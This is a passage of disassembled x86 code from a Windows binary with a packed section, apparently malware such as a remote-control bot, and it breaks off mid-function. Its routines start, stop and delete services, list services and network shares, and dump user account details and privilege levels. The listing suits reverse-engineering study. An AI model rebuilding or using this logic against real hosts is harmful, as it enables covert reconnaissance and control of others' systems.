		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_4CB9C8	; OpenSCManagerA
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_418CAF
		call	dword_427094	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_418D24
; ---------------------------------------------------------------------------


loc_418CAF:				; CODE XREF: sub_418C88+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4CB8B0	; OpenServiceA
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_418CCF
		call	dword_427094	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_418D1C
; ---------------------------------------------------------------------------


loc_418CCF:				; CODE XREF: sub_418C88+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_418D02
		cmp	eax, 3
		jz	short loc_418CF3
		jle	short loc_418D15
		cmp	eax, 6
		jg	short loc_418D15
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4CB91C	; ControlService
		jmp	short loc_418D09
; ---------------------------------------------------------------------------


loc_418CF3:				; CODE XREF: sub_418C88+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4CB8B8	; StartServiceA
		jmp	short loc_418D09
; ---------------------------------------------------------------------------


loc_418D02:				; CODE XREF: sub_418C88+4Dj
		push	esi
		call	dword_4CB920	; DeleteService


loc_418D09:				; CODE XREF: sub_418C88+69j
					; sub_418C88+78j
		test	eax, eax
		jnz	short loc_418D15
		call	dword_427094	; RtlGetLastWin32Error
		mov	ebx, eax


loc_418D15:				; CODE XREF: sub_418C88+54j
					; sub_418C88+59j ...
		push	esi
		call	dword_4CB8CC	; CloseServiceHandle


loc_418D1C:				; CODE XREF: sub_418C88+45j
		push	edi
		call	dword_4CB8CC	; CloseServiceHandle
		pop	esi


loc_418D24:				; CODE XREF: sub_418C88+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_418C88	endp


; =============== S U B	R O U T	I N E =======================================



sub_418D2A	proc near		; CODE XREF: sub_418C0E+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_418DDF
		jz	loc_418DD8
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_418DA2
		jz	short loc_418D98
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_418D8E
		dec	ecx
		dec	ecx
		jz	short loc_418D84
		dec	ecx
		jz	short loc_418D7A
		sub	ecx, 51h
		jz	short loc_418D70
		sub	ecx, 24h
		jnz	loc_418E55	; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D70:				; CODE XREF: sub_418D2A+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D7A:				; CODE XREF: sub_418D2A+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D84:				; CODE XREF: sub_418D2A+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D8E:				; CODE XREF: sub_418D2A+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D98:				; CODE XREF: sub_418D2A+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418DA2:				; CODE XREF: sub_418D2A+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_418DD1
		dec	ecx
		jz	short loc_418DCA
		dec	ecx
		jz	short loc_418DC3
		dec	ecx
		jnz	loc_418E55	; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418DC3:				; CODE XREF: sub_418D2A+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418DCA:				; CODE XREF: sub_418D2A+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418DD1:				; CODE XREF: sub_418D2A+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418DD8:				; CODE XREF: sub_418D2A+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418DDF:				; CODE XREF: sub_418D2A+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_418E55 ; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		jz	short loc_418E42
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_418E55 ; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_418E96[ecx]
		jmp	off_418E6E[ecx*4] ; switch jump


loc_418E03:				; DATA XREF: .packed:off_418E6Eo
		push	offset aTheSpecifiedDa ; jumptable 00418DFC case 7
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E0A:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: .packed:off_418E6Eo
		push	offset aTheServiceDepe ; jumptable 00418DFC case 17
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E11:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: .packed:off_418E6Eo
		push	offset aTheServiceDe_0 ; jumptable 00418DFC case 10
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E18:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: .packed:off_418E6Eo
		push	offset aTheServiceHasB ; jumptable 00418DFC case 0
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E1F:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: .packed:off_418E6Eo
		push	offset aTheSpecified_0 ; jumptable 00418DFC case 2
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E26:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: .packed:off_418E6Eo
		push	offset aTheServiceCoul ; jumptable 00418DFC case 11
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E2D:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: .packed:off_418E6Eo
		push	offset aTheServiceHa_0 ; jumptable 00418DFC case 14
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E34:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: .packed:off_418E6Eo
		push	offset aTheRequested_1 ; jumptable 00418DFC case 3
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E3B:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: .packed:off_418E6Eo
		push	offset aTheServiceHasN ; jumptable 00418DFC case 4
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E42:				; CODE XREF: sub_418D2A+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_418E47:				; CODE XREF: sub_418D2A+41j
					; sub_418D2A+4Bj ...
		push	offset dword_4DB380
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	short loc_418E68
; ---------------------------------------------------------------------------


loc_418E55:				; CODE XREF: sub_418D2A+36j
					; sub_418D2A+89j ...
		push	eax		; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4DB380
		call	sub_41C266
		add	esp, 0Ch


loc_418E68:				; CODE XREF: sub_418D2A+129j
		mov	eax, offset dword_4DB380
		retn
sub_418D2A	endp

; ---------------------------------------------------------------------------
off_418E6E	dd offset loc_418E18	; DATA XREF: sub_418D2A+D2r
		dd offset loc_418E1F	; jump table for switch	statement
		dd offset loc_418E34
		dd offset loc_418E3B
		dd offset loc_418E03
		dd offset loc_418E11
		dd offset loc_418E26
		dd offset loc_418E2D
		dd offset loc_418E0A
		dd offset loc_418E55
byte_418E96	db	0,     9,     1,     2 ; DATA XREF: sub_418D2A+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418EA8	proc near		; CODE XREF: sub_401ACD+44D6p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4CB9C8	; OpenSCManagerA
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_418EE0:				; CODE XREF: sub_418EA8+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4CB994	; EnumServicesStatusA
		test	eax, eax
		jnz	short loc_418F1A
		call	dword_427094	; RtlGetLastWin32Error
		cmp	eax, 0EAh
		jnz	loc_418FCE


loc_418F1A:				; CODE XREF: sub_418EA8+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_418FC5
		lea	esi, [ebp+var_188]


loc_418F2B:				; CODE XREF: sub_418EA8+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_418F74
		dec	eax
		jz	short loc_418F6D
		dec	eax
		jz	short loc_418F66
		dec	eax
		jz	short loc_418F5F
		dec	eax
		jz	short loc_418F58
		dec	eax
		jz	short loc_418F51
		dec	eax
		jz	short loc_418F4A
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F4A:				; CODE XREF: sub_418EA8+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F51:				; CODE XREF: sub_418EA8+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F58:				; CODE XREF: sub_418EA8+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F5F:				; CODE XREF: sub_418EA8+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F66:				; CODE XREF: sub_418EA8+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F6D:				; CODE XREF: sub_418EA8+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F74:				; CODE XREF: sub_418EA8+87j
		push	offset aStopped	; "    Stopped"


loc_418F79:				; CODE XREF: sub_418EA8+A0j
					; sub_418EA8+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_418F2B


loc_418FC5:				; CODE XREF: sub_418EA8+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_418EE0


loc_418FCE:				; CODE XREF: sub_418EA8+6Cj
		push	[ebp+var_C]
		call	dword_4CB8CC	; CloseServiceHandle
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_418EA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418FE5	proc near		; CODE XREF: sub_401ACD:loc_406064p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_41907F
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_41900E
		dec	eax
		jnz	short loc_41905F
		push	edi
		push	0
		call	sub_4191B8
		pop	ecx
		pop	ecx
		jmp	short loc_41905B
; ---------------------------------------------------------------------------


loc_41900E:				; CODE XREF: sub_418FE5+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_41904D
		push	24h
		push	edi
		call	sub_41C990
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41904D
		push	57h
		pop	eax


loc_419025:				; CODE XREF: sub_418FE5+78j
		push	eax
		call	sub_4199AC
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DB63C
		push	off_439518[eax*4]
		push	offset unk_439BC4
		push	esi
		call	sub_41C266
		add	esp, 14h
		jmp	short loc_41909F
; ---------------------------------------------------------------------------


loc_41904D:				; CODE XREF: sub_418FE5+2Dj
					; sub_418FE5+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_41910C
		add	esp, 0Ch


loc_41905B:				; CODE XREF: sub_418FE5+27j
		test	eax, eax
		jnz	short loc_419025


loc_41905F:				; CODE XREF: sub_418FE5+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DB63C
		push	off_43951C[eax*4]
		push	offset dword_439BA8
		push	esi
		call	sub_41C266
		add	esp, 10h
		jmp	short loc_41909F
; ---------------------------------------------------------------------------


loc_41907F:				; CODE XREF: sub_418FE5+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DB63C
		lea	eax, [eax+eax*2]
		push	off_439518[eax*4]
		push	offset unk_439B84
		push	esi
		call	sub_41C266
		add	esp, 0Ch


loc_41909F:				; CODE XREF: sub_418FE5+66j
					; sub_418FE5+98j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418FE5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4190A5	proc near		; CODE XREF: sub_41A3C6+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_4190B2
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4190B2:				; CODE XREF: sub_4190A5+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_427188
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		test	byte_4DB83C, 1
		mov	ebp, eax
		jnz	short loc_4190EF
		or	byte_4DB83C, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	dword_4DB5DC, eax


loc_4190EF:				; CODE XREF: sub_4190A5+32j
		push	esi
		push	esi
		push	ebp
		push	dword_4DB5DC
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		mov	eax, dword_4DB5DC
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_4190A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41910C	proc near		; CODE XREF: sub_418FE5+6Ep
					; sub_41A6EA+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_419177
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_419177
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_41C990
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_419177
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4CB8C8
		pop	edi
		leave
		retn
sub_41910C	endp


; =============== S U B	R O U T	I N E =======================================



sub_419177	proc near		; CODE XREF: sub_41910C+Ap
					; sub_41910C+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_419184
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_419184:				; CODE XREF: sub_419177+9j
		push	ebx
		push	esi
		mov	esi, dword_4270E8
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi	; MultiByteToWideChar
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi	; MultiByteToWideChar
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_419177	endp


; =============== S U B	R O U T	I N E =======================================



sub_4191B8	proc near		; CODE XREF: sub_418FE5+20p
					; sub_41A3C6+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_419177
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_419177
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4CB8A0
		pop	esi
		retn
sub_4191B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4191DB	proc near		; CODE XREF: sub_401ACD+45AEp

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_419177
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 18h


loc_419214:				; CODE XREF: sub_4191DB+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_4CB918
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_419277
		cmp	ebx, 0EAh
		jz	short loc_419277
		push	ebx
		push	ebx
		call	sub_4199AC
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_439C10
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 24h
		jmp	short loc_4192E4
; ---------------------------------------------------------------------------


loc_419277:				; CODE XREF: sub_4191DB+5Dj
					; sub_4191DB+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_4192DB
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_419285:				; CODE XREF: sub_4191DB+FCj
		push	dword ptr [esi+10h]
		call	dword_4CB8BC	; IsValidSecurityDescriptor
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_41929C
		mov	eax, offset aNo	; "No"


loc_41929C:				; CODE XREF: sub_4191DB+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_419285
		xor	esi, esi


loc_4192DB:				; CODE XREF: sub_4191DB+A2j
		push	[ebp+var_4]
		call	dword_4CBA64


loc_4192E4:				; CODE XREF: sub_4191DB+9Aj
		cmp	ebx, 0EAh
		jz	loc_419214
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4191DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192FC	proc near		; CODE XREF: sub_401ACD:loc_4060EDp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_4193A1
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_41933E
		dec	eax
		jz	short loc_419333
		dec	eax
		jnz	short loc_419359
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_419443
		add	esp, 14h
		jmp	short loc_419355
; ---------------------------------------------------------------------------


loc_419333:				; CODE XREF: sub_4192FC+1Dj
		push	ebx
		push	edi
		call	sub_419422
		pop	ecx
		pop	ecx
		jmp	short loc_419355
; ---------------------------------------------------------------------------


loc_41933E:				; CODE XREF: sub_4192FC+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_419352
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_4193C8
		add	esp, 0Ch
		jmp	short loc_419355
; ---------------------------------------------------------------------------


loc_419352:				; CODE XREF: sub_4192FC+45j
		push	57h
		pop	eax


loc_419355:				; CODE XREF: sub_4192FC+35j
					; sub_4192FC+40j ...
		cmp	eax, edi
		jnz	short loc_419379


loc_419359:				; CODE XREF: sub_4192FC+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DB840
		push	off_43951C[eax*4]
		push	offset unk_439CC8
		push	esi
		call	sub_41C266
		add	esp, 10h
		jmp	short loc_4193C1
; ---------------------------------------------------------------------------


loc_419379:				; CODE XREF: sub_4192FC+5Bj
		push	eax
		call	sub_4199AC
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DB840
		push	off_439518[eax*4]
		push	offset unk_439C98
		push	esi
		call	sub_41C266
		add	esp, 14h
		jmp	short loc_4193C1
; ---------------------------------------------------------------------------


loc_4193A1:				; CODE XREF: sub_4192FC+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DB840
		lea	eax, [eax+eax*2]
		push	off_439518[eax*4]
		push	offset unk_439C70
		push	esi
		call	sub_41C266
		add	esp, 0Ch


loc_4193C1:				; CODE XREF: sub_4192FC+7Bj
					; sub_4192FC+A3j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4192FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4193C8	proc near		; CODE XREF: sub_4192FC+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_419177
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_419177
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_419177
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4CB8AC
		pop	edi
		leave
		retn
sub_4193C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_419422	proc near		; CODE XREF: sub_4192FC+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_419177
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_419177
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4CB89C
		pop	esi
		retn
sub_419422	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419443	proc near		; CODE XREF: sub_4192FC+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_419177
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_419177
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4CBA2C
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_4197EB
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_419826
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_41C266
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_419562
		dec	eax
		jz	short loc_41955B
		dec	eax
		jz	short loc_419554
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_419567
; ---------------------------------------------------------------------------


loc_419554:				; CODE XREF: sub_419443+108j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_419567
; ---------------------------------------------------------------------------


loc_41955B:				; CODE XREF: sub_419443+105j
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_419567
; ---------------------------------------------------------------------------


loc_419562:				; CODE XREF: sub_419443+102j
		mov	eax, offset aGuest ; "Guest"


loc_419567:				; CODE XREF: sub_419443+10Fj
					; sub_419443+116j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+14h]
